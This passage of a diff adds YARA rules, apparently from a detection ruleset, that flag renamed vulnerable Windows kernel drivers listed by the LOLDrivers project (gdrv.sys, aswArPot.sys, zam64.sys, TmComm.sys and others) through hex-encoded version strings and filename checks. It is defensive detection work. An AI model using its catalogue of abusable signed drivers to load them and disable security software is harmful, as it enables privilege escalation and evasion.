+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 } /* OriginalFilename MsIosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100390020004d00490043005300590053 } /* LegalCopyright CopyrightcMICSYS */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /MsIo64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Dtresearchinc_Iomemsys_Iomemsys_DD4A {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iomem64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "dd4a1253d47de14ef83f1bc8b40816a86ccf90d1e624c5adf9203ae9d51d4097"
+		date = "2023-06-14"
+		score = 70
+		id = "35a9803d-08a8-5cad-9eb6-ac7a9366f32b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0044005400520020004b00650072006e0065006c0020006d006f006400650020006400720069007600650072 } /* FileDescription DTRKernelmodedriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00440054002000520065007300650061007200630068002c00200049006e0063002e } /* CompanyName DTResearchInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 } /* InternalName iomemsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0069006f006d0065006d002e007300790073 } /* ProductName iomemsys */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0069006f006d0065006d002e007300790073 } /* OriginalFilename iomemsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0044005400200052006500730065006100720063006800200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright DTResearchIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /iomem64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Pchuntersys_Pchunter_1B7F {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - PCHunter.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1b7fb154a7b7903a3c81f12f4b094f24a3c60a6a8cffca894c67c264ab7545fa"
+		date = "2023-06-14"
+		score = 70
+		id = "1e9534ab-0139-5550-93ac-e0e2e4f54c3f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00450070006f006f006c0073006f00660074002000570069006e0064006f0077007300200049006e0066006f0072006d006100740069006f006e0020005600690065007700200054006f006f006c0073 } /* FileDescription EpoolsoftWindowsInformationViewTools */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]4e00666e660e4e3aff0853174eacff094fe1606f6280672f67099650516c53f8 } /* CompanyName  */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0050004300480075006e007400650072002e007300790073 } /* InternalName PCHuntersys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0050004300480075006e007400650072 } /* ProductName PCHunter */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0050004300480075006e007400650072002e007300790073 } /* OriginalFilename PCHuntersys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200032003000310033002d0032003000310036002000450070006f006f006c0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CEpoolsoftCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 800KB and all of them and not filename matches /PCHunter/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_6500 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "65008817eb97635826a8708a6411d7b50f762bab81304e457119d669382944c3"
+		date = "2023-06-14"
+		score = 70
+		id = "ec46068f-99f6-5335-a695-c2d4f67661c4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0035002e0034003200320030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003900200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Novellinc_Novellxtier_8E88 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8e88cb80328c3dbaa2752591692e74a2fae7e146d7d8aabc9b9ac9a6fe561e6c"
+		date = "2023-06-14"
+		score = 70
+		id = "dcdacb63-7b72-512e-98fc-f9899eef184f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c002000580054006900650072002000530065007300730069006f006e0020004d0061006e0061006700650072 } /* FileDescription NovellXTierSessionManager */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 } /* OriginalFilename nscmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310031002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /nscm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Zemanaltd_Zam_E428 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e428ddf9afc9b2d11e2271f0a67a2d6638b860c2c12d4b8cc63d33f3349ee93f"
+		date = "2023-06-14"
+		score = 70
+		id = "ab5fa19d-04b9-53b1-8c25-311b2b70de67"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310037002e003900380034 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /zam64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_0909 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0909005d625866ef8ccd8ae8af5745a469f4f70561b644d6e38b80bccb53eb06"
+		date = "2023-06-14"
+		score = 70
+		id = "5011ac46-4366-57f2-8102-10fffffb3c27"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003100300036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Huawei_Hwosec_Huaweimatebook_B179 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HwOs2Ec7x64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "b179e1ab6dc0b1aee783adbcad4ad6bb75a8a64cb798f30c0dd2ee8aaf43e6de"
+		hash = "bb1135b51acca8348d285dc5461d10e8f57260e7d0c8cc4a092734d53fc40cbc"
+		date = "2023-06-14"
+		score = 70
+		id = "0b7fdb14-88a4-55cc-ab9e-062dd05df561"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00480077004f0073003200450063 } /* FileDescription HwOsEc */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004800750061007700650069 } /* CompanyName Huawei */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00480077004f0073003200450063 } /* InternalName HwOsEc */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048007500610077006500690020004d0061007400650042006f006f006b } /* ProductName HuaweiMateBook */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00480077004f0073003200450063002e007300790073 } /* OriginalFilename HwOsEcsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310036 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /HwOs2Ec7x64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Hpinc_Hpportioxsys_Hpportio_A468 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HpPortIox64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a4680fabf606d6580893434e81c130ff7ec9467a15e6534692443465f264d3c9"
+		date = "2023-06-14"
+		score = 70
+		id = "375a9cb2-5ba6-56d1-944c-38c724f3746d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800700050006f007200740049006f } /* FileDescription HpPortIo */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200049006e0063002e } /* CompanyName HPInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 } /* InternalName HpPortIoxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800700050006f007200740049006f } /* ProductName HpPortIo */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 } /* OriginalFilename HpPortIoxsys */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /HpPortIox64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Zemanaltd_Zam_7661 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "76614f2e372f33100a8d92bf372cdbc1e183930ca747eed0b0cf2501293b990a"
+		date = "2023-06-14"
+		score = 70
+		id = "6af53a8a-2e39-536a-a817-a29748de5055"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310038002e003200320039 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /zam64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_8B92 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8b92cdb91a2e2fab3881d54f5862e723826b759749f837a11c9e9d85d52095a2"
+		date = "2023-06-14"
+		score = 70
+		id = "9225e30b-aca2-5989-a73b-8d40d72e2a01"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 } /* FileDescription GIGABYTENonPnPDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e } /* CompanyName GIGABYTETECHNOLOGYCOLTD */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 } /* ProductName GIGABYTESoftwaredriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /gdrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sisoftware_Sandra_Sisoftwaresandra_881B {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "881bca6dc2dafe1ae18aeb59216af939a3ac37248c13ed42ad0e1048a3855461"
+		date = "2023-06-14"
+		score = 70
+		id = "90404bf8-2575-5437-898d-6dfb22b04027"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 } /* FileDescription SandraDeviceDriverWinxUnicode */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 } /* CompanyName SiSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0033002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0033002e0031002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 } /* InternalName SANDRA */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 } /* ProductName SiSoftwareSandra */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 } /* OriginalFilename SANDRA */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300035002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightSiSoftwareLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /SANDRA/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_5192 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5192ec4501d0fe0b1c8f7bf9b778f7524a7a70a26bbbb66e5dab8480f6fdbb8b"
+		date = "2023-06-14"
+		score = 70
+		id = "f5af1fa3-89f3-5e06-8f67-bb26b89a5c1d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00370030002e0030002e0031003000370033 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00370030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100350020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_80A5 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "80a59ca71fc20961ccafc0686051e86ae4afbbd4578cb26ad4570b9207651085"
+		date = "2023-06-14"
+		score = 70
+		id = "fc4c8180-77b2-593e-b4c0-5340871291bd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00350030002e0030002e0031003000390031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00350030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Microfocus_Microfocusxtier_5351 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nscm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5351c81b4ec5a0d79c39d24bac7600d10eac30c13546fde43d23636b3f421e7c"
+		date = "2023-06-14"
+		score = 70
+		id = "084f65a0-6a2a-59b6-9a5a-3f45a4f5c892"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0058005400690065007200200053006500630075007200690074007900200043006f006e00740065007800740020004d0061006e0061006700650072 } /* FileDescription XTierSecurityContextManager */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073 } /* CompanyName MicroFocus */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310032002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310032 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f00200046006f006300750073002000580054006900650072 } /* ProductName MicroFocusXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e00730063006d002e007300790073 } /* OriginalFilename nscmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310037002c0020004d006900630072006f00200046006f006300750073002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightMicroFocusAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /nscm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sunmicrosystemsinc_Vboxdrvsys_Sunvirtualbox_R_7882 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - vboxdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "78827fa00ea48d96ac9af8d1c1e317d02ce11793e7f7f6e4c7aac7b5d7dd490f"
+		hash = "c26b51b4c37330800cff8519252e110116c3aaade94ceb9894ec5bfb1b8f9924"
+		date = "2023-06-14"
+		score = 70
+		id = "63c99882-aa1c-522c-ae84-485306bdbea4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200053007500700070006f007200740020004400720069007600650072 } /* FileDescription VirtualBoxSupportDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e } /* CompanyName SunMicrosystemsInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0032002e0030002e007200340035003800340036 } /* FileVersion r */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0032002e0030002e007200340035003800340036 } /* ProductVersion r */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* InternalName VBoxDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530075006e0020005600690072007400750061006c0042006f0078 } /* ProductName SunVirtualBox */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078004400720076002e007300790073 } /* OriginalFilename VBoxDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300039002000530075006e0020004d006900630072006f00730079007300740065006d0073002c00200049006e0063002e } /* LegalCopyright CopyrightCSunMicrosystemsInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /vboxdrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Corsairmemoryinc_Corsairllaccess_Corsairllaccess_5FAD {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CorsairLLAccess64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5fad3775feb8b6f6dcbd1642ae6b6a565ff7b64eadfc9bf9777918b51696ab36"
+		hash = "29a90ae1dcee66335ece4287a06482716530509912be863c85a2a03a6450a5b6"
+		date = "2023-06-14"
+		score = 70
+		id = "6eecc3dd-cbcf-5d2f-8005-e027230e64b1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* FileDescription CorsairLLAccess */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e } /* CompanyName CorsairMemoryInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00310036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00310036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* InternalName CorsairLLAccess */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* ProductName CorsairLLAccess */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f007200730061006900720020004c004c0020004100630063006500730073 } /* OriginalFilename CorsairLLAccess */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007200730061006900720020004d0065006d006f00720079002c00200049006e0063002e002000280063002900200032003000310039002c00200041006c006c0020007200690067006800740073002000720065007300650072007600650064 } /* LegalCopyright CorsairMemoryInccAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /CorsairLLAccess64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Cpuid_Cpuzsys_Cpuidservice_A072 {
+	meta:
